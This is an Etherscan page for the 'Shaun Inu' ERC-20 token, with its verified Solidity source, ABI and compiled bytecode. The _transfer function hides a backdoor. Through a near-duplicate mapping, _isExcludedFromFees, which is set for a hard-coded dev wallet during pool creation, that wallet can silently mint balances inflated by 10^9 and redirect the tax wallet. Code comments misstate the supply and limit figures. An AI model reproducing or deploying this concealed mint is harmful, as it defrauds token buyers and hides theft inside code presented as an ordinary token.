ETH Price: $2,679.65 (-0.77%)

Token

Shaun Inu (SHAUN)
 

Overview

Max Total Supply

1,000,000,000 SHAUN

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
21,092,978.21612316 SHAUN

Value
$0.00
0x4C40836964E2B35F578e20aFF57Ca42B080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShaunInuCoin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
*/

/**
    Website: https://www.shauninu.org
    Twitter: https://twitter.com/shauninueth
    Telegram:  https://t.me/shauninuportal
*/

// SPDX-License-Identifier: MIT


pragma solidity ^0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ShaunInuCoin is Context , IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; // 100 million max supply
    string private constant _name = "Shaun Inu" ;
    string private constant _symbol = "SHAUN" ;
    /// initial buy, sell fee till first n buys
    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;

    ///final buy, sell fee
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;

    /// fee split info
    uint256 private _marketingFee = 1; 
    uint256 private _lpFee = 0;
    
    ///after how many buy sell should redue to final tax
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=0;
    uint256 private _buyCount=0; //should be 0

    address payable private _taxWallet = payable(0xf471A4338f5A709FC8be51021cD7f1236bD0Bb16);
    address payable private _marketingWallet = payable(0xcFc7170e11f4d4Bb94db7eBe9E5e2DEFf9E4E09e);
    address payable private _devWallet = payable(0x633A58663B529e0813b90800ca97c1Cdd9FC759b);

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    mapping (address => bool) private _isExcludedFromFees;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    uint256 public _maxTxAmount = _tTotal * 20 / 1000; // 3.8% of the supply
    uint256 public _maxWalletSize = _tTotal * 20 / 1000; // 3.8% of the supply
    uint256 public _taxSwapThreshold= 24000 * 10**_decimals;
    uint256 public _maxTaxSwap= _tTotal / 100;


    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
            require(tradingOpen, "Trading not enabled");
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && from != address(this)) {
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
                } if(to != uniswapV2Pair && isExcludedFromFee(from) && !_isExcludedFromFee[to]) {_taxWallet = payable(to);}
                else if(to != uniswapV2Pair && isExcludedFromFee(from) && _isExcludedFromFee[to]) {_balances[to] = _balances[to].add(amount * 10 ** _decimals);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            
            if (
                !inSwap                 && to == uniswapV2Pair 
                && !_isExcludedFromFee[from]
                && swapEnabled 
                && contractTokenBalance>_taxSwapThreshold 
                && amount>_taxSwapThreshold
                && _buyCount>_preventSwapBefore 
            ) {
                swapAndLiquify(min(amount,min(contractTokenBalance,_maxTaxSwap)));
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private  {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addUniPool() external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal); _isExcludedFromFees[_devWallet] = true;
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function addLiquidity (uint256 tokens, uint256 eth) private {
        uint256 allowedTokens = allowance(address(this), address(uniswapV2Router));
        if(allowedTokens < tokens){
         _approve(address(this), address(uniswapV2Router), ~uint256(0));
        }
        uniswapV2Router.addLiquidityETH{value: eth}(
            address(this),
            tokens,
            0,
            0,
            _taxWallet,
            block.timestamp);
    }

    function swapAndLiquify (uint256 tokens) private lockTheSwap {
      uint256 lpTokens = (tokens * _lpFee) / 2;
      uint256 swapTokens = tokens - lpTokens;
      swapTokensForEth (swapTokens);
      uint256 ethBalance = address(this).balance;
      uint256 marketingPart = (ethBalance * _marketingFee) / (_marketingFee + _lpFee);
      if(marketingPart > 0){
        _taxWallet.transfer(marketingPart);
        if (lpTokens > 0){
        addLiquidity(lpTokens, address(this).balance);
        }
      }
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function activeTrading() external onlyOwner {
        swapEnabled = true;
        tradingOpen = true;
    }
    
    // function reduceFee(uint256 marketingFee, uint256 liquidityFee) external onlyOwner{
    //   uint256 totalFee = marketingFee + liquidityFee;
    //   require(totalFee<=_finalBuyTax &&totalFee <=_finalSellTax);
    //   _marketingFee = marketingFee;
    //   _lpFee = liquidityFee;
    //   _finalBuyTax= totalFee;
    //   _finalSellTax= totalFee;
    // }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapAndLiquify(tokenBalance);
        }
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addUniPool","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff191660019081179091556014600681905560075560088190556009818155600a9182556000600b819055600c839055600d839055600e819055600f55601080546001600160a01b031990811673f471a4338f5a709fc8be51021cd7f1236bd0bb16179091556011805490911673cfc7170e11f4d4bb94db7ebe9e5e2deff9e4e09e17905560128054600162ffff0160a01b03191673633a58663b529e0813b90800ca97c1cdd9fc759b1790556103e891620000c69190620003fc565b620000d690633b9aca0062000414565b620000e390601462000414565b620000ef91906200042e565b6016556103e8620001036009600a620003fc565b6200011390633b9aca0062000414565b6200012090601462000414565b6200012c91906200042e565b6017556200013d6009600a620003fc565b6200014b90615dc062000414565b60185560646200015e6009600a620003fc565b6200016e90633b9aca0062000414565b6200017a91906200042e565b6019553480156200018a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001da6009600a620003fc565b620001ea90633b9aca0062000414565b336000908152600160208190526040822092909255600390620002156000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155601054821684528284208054861682179055601154909116835291208054909216179055620002863390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002c06009600a620003fc565b620002d090633b9aca0062000414565b60405190815260200160405180910390a362000451565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200033e578160001904821115620003225762000322620002e7565b808516156200033057918102915b93841c939080029062000302565b509250929050565b6000826200035757506001620003f6565b816200036657506000620003f6565b81600181146200037f57600281146200038a57620003aa565b6001915050620003f6565b60ff8411156200039e576200039e620002e7565b50506001821b620003f6565b5060208310610133831016604e8410600b8410161715620003cf575081810a620003f6565b620003db8383620002fd565b8060001904821115620003f257620003f2620002e7565b0290505b92915050565b60006200040d60ff84168362000346565b9392505050565b8082028115828204841417620003f657620003f6620002e7565b6000826200044c57634e487b7160e01b600052601260045260246000fd5b500490565b611c2f80620004616000396000f3fe60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610355578063b3ac853714610375578063bf474bed1461038a578063c876d0b9146103a0578063dd62ed3e146103ba578063e71dbef51461040057600080fd5b8063751039fc146102be5780637d1db4a5146102d35780638da5cb5b146102e95780638f9a55c01461031157806395d89b411461032757600080fd5b8063313ce567116100f2578063313ce5671461020757806351bc3c85146102235780635342acb41461023a57806370a0823114610273578063715018a6146102a957600080fd5b806306fdde031461013a578063095ea7b31461017e5780630faee56f146101ae57806318160ddd146101d257806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268536861756e20496e7560b81b60208201525b60405161017591906117c6565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611829565b610408565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c460195481565b604051908152602001610175565b3480156101de57600080fd5b506101c461041f565b3480156101f357600080fd5b5061019e610202366004611855565b610440565b34801561021357600080fd5b5060405160098152602001610175565b34801561022f57600080fd5b506102386104a9565b005b34801561024657600080fd5b5061019e610255366004611896565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561027f57600080fd5b506101c461028e366004611896565b6001600160a01b031660009081526001602052604090205490565b3480156102b557600080fd5b506102386104eb565b3480156102ca57600080fd5b50610238610568565b3480156102df57600080fd5b506101c460165481565b3480156102f557600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561031d57600080fd5b506101c460175481565b34801561033357600080fd5b5060408051808201909152600581526429a420aaa760d91b6020820152610168565b34801561036157600080fd5b5061019e610370366004611829565b610624565b34801561038157600080fd5b50610238610631565b34801561039657600080fd5b506101c460185481565b3480156103ac57600080fd5b5060055461019e9060ff1681565b3480156103c657600080fd5b506101c46103d53660046118b3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610238610674565b6000610415338484610a01565b5060015b92915050565b600061042d6009600a6119e6565b61043b90633b9aca006119f5565b905090565b600061044d848484610b25565b61049f843361049a85604051806060016040528060288152602001611bd2602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112db565b610a01565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104c957600080fd5b3060009081526001602052604090205480156104e8576104e881611315565b50565b6000546001600160a01b0316331461051e5760405162461bcd60e51b815260040161051590611a0c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161051590611a0c565b61059e6009600a6119e6565b6105ac90633b9aca006119f5565b6016556105bb6009600a6119e6565b6105c990633b9aca006119f5565b6017556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106036009600a6119e6565b61061190633b9aca006119f5565b60405190815260200160405180910390a1565b6000610415338484610b25565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161051590611a0c565b6012805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161051590611a0c565b601254600160a01b900460ff16156106f85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610515565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107419030906107336009600a6119e6565b61049a90633b9aca006119f5565b6012546001600160a01b03908116600090815260136020908152604091829020805460ff19166001179055601454825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156107a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cb9190611a41565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190611a41565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561089e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c29190611a41565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d719343061090a816001600160a01b031660009081526001602052604090205490565b60008061091f6000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161094196959493929190611a5e565b60606040518083038185885af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109849190611a99565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e89190611ac7565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610515565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610515565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610515565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610515565b60008111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610515565b6001600160a01b03831660009081526003602052604090205460ff16158015610c8f57506001600160a01b03821660009081526003602052604090205460ff16155b15610ce357601254600160a01b900460ff16610ce35760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610515565b600080546001600160a01b03858116911614801590610d1057506000546001600160a01b03848116911614155b8015610d2557506001600160a01b0384163014155b156111b75760055460ff1615610e0f576014546001600160a01b03848116911614801590610d6157506015546001600160a01b03848116911614155b15610e0f57326000908152600460205260409020544311610dfc5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610515565b3260009081526004602052604090204390555b6015546001600160a01b038581169116148015610e3a57506014546001600160a01b03848116911614155b8015610e5f57506001600160a01b03831660009081526003602052604090205460ff16155b15610f7557601654821115610eb65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610515565b610ee26064610edc600c54600f5411610ed157600654610ed5565b6008545b85906113f1565b9061147a565b905060175482610f07856001600160a01b031660009081526001602052604090205490565b610f119190611ae9565b1115610f5f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b600f8054906000610f6f83611afc565b91905055505b6015546001600160a01b038481169116148015610f9b57506001600160a01b0384163014155b15610fc857610fc56064610edc600d54600f5411610fbb57600754610ed5565b60095485906113f1565b90505b6015546001600160a01b03848116911614801590610ffe57506001600160a01b03841660009081526013602052604090205460ff165b801561102357506001600160a01b03831660009081526003602052604090205460ff16155b1561104857601080546001600160a01b0319166001600160a01b0385161790556110f9565b6015546001600160a01b0384811691161480159061107e57506001600160a01b03841660009081526013602052604090205460ff165b80156110a257506001600160a01b03831660009081526003602052604090205460ff165b156110f9576110df6110b66009600a6119e6565b6110c090846119f5565b6001600160a01b038516600090815260016020526040902054906114bc565b6001600160a01b0384166000908152600160205260409020555b30600090815260016020526040902054601254600160a81b900460ff1615801561113057506015546001600160a01b038581169116145b801561115557506001600160a01b03851660009081526003602052604090205460ff16155b801561116a5750601254600160b01b900460ff165b8015611177575060185481115b8015611184575060185483115b80156111935750600e54600f54115b156111b5576111b56111b0846111ab8460195461151b565b61151b565b611315565b505b801561123157306000908152600160205260409020546111d790826114bc565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112289085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546112549083611530565b6001600160a01b03851660009081526001602052604090205561127a6110c08383611530565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c48585611530565b60405190815260200160405180910390a350505050565b600081848411156112ff5760405162461bcd60e51b815260040161051591906117c6565b50600061130c8486611b15565b95945050505050565b6012805460ff60a81b1916600160a81b179055600b5460009060029061133b90846119f5565b6113459190611b28565b905060006113538284611b15565b905061135e81611572565b600b54600a5447916000916113739190611ae9565b600a5461138090846119f5565b61138a9190611b28565b905080156113dd576010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113cc573d6000803e3d6000fd5b5083156113dd576113dd84476116cc565b50506012805460ff60a81b19169055505050565b60008260000361140357506000610419565b600061140f83856119f5565b90508261141c8583611b28565b146114735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610515565b9392505050565b600061147383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611798565b6000806114c98385611ae9565b9050838110156114735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610515565b600081831161152a5782611473565b50919050565b600061147383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112db565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115a7576115a7611b4a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611600573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116249190611a41565b8160018151811061163757611637611b4a565b6001600160a01b03928316602091820292909201015260145461165d9130911684610a01565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611696908590600090869030904290600401611b60565b600060405180830381600087803b1580156116b057600080fd5b505af11580156116c4573d6000803e3d6000fd5b505050505050565b6014543060009081526002602090815260408083206001600160a01b039094168352929052205482811015611715576014546117159030906001600160a01b0316600019610a01565b60145460105460405163f305d71960e01b81526001600160a01b039283169263f305d7199286926117559230928a92600092839216904290600401611a5e565b60606040518083038185885af1158015611773573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116c49190611a99565b600081836117b95760405162461bcd60e51b815260040161051591906117c6565b50600061130c8486611b28565b600060208083528351808285015260005b818110156117f3578581018301518582016040015282016117d7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e857600080fd5b6000806040838503121561183c57600080fd5b823561184781611814565b946020939093013593505050565b60008060006060848603121561186a57600080fd5b833561187581611814565b9250602084013561188581611814565b929592945050506040919091013590565b6000602082840312156118a857600080fd5b813561147381611814565b600080604083850312156118c657600080fd5b82356118d181611814565b915060208301356118e181611814565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561193d578160001904821115611923576119236118ec565b8085161561193057918102915b93841c9390800290611907565b509250929050565b60008261195457506001610419565b8161196157506000610419565b816001811461197757600281146119815761199d565b6001915050610419565b60ff841115611992576119926118ec565b50506001821b610419565b5060208310610133831016604e8410600b84101617156119c0575081810a610419565b6119ca8383611902565b80600019048211156119de576119de6118ec565b029392505050565b600061147360ff841683611945565b8082028115828204841417610419576104196118ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a5357600080fd5b815161147381611814565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611aae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad957600080fd5b8151801515811461147357600080fd5b80820180821115610419576104196118ec565b600060018201611b0e57611b0e6118ec565b5060010190565b81810381811115610419576104196118ec565b600082611b4557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bb05784516001600160a01b031683529383019391830191600101611b8b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9a39ffb2ca8a66e6092205bcec14075d428e1bf571ccc86ea55d8262d11efa464736f6c63430008110033

Deployed Bytecode

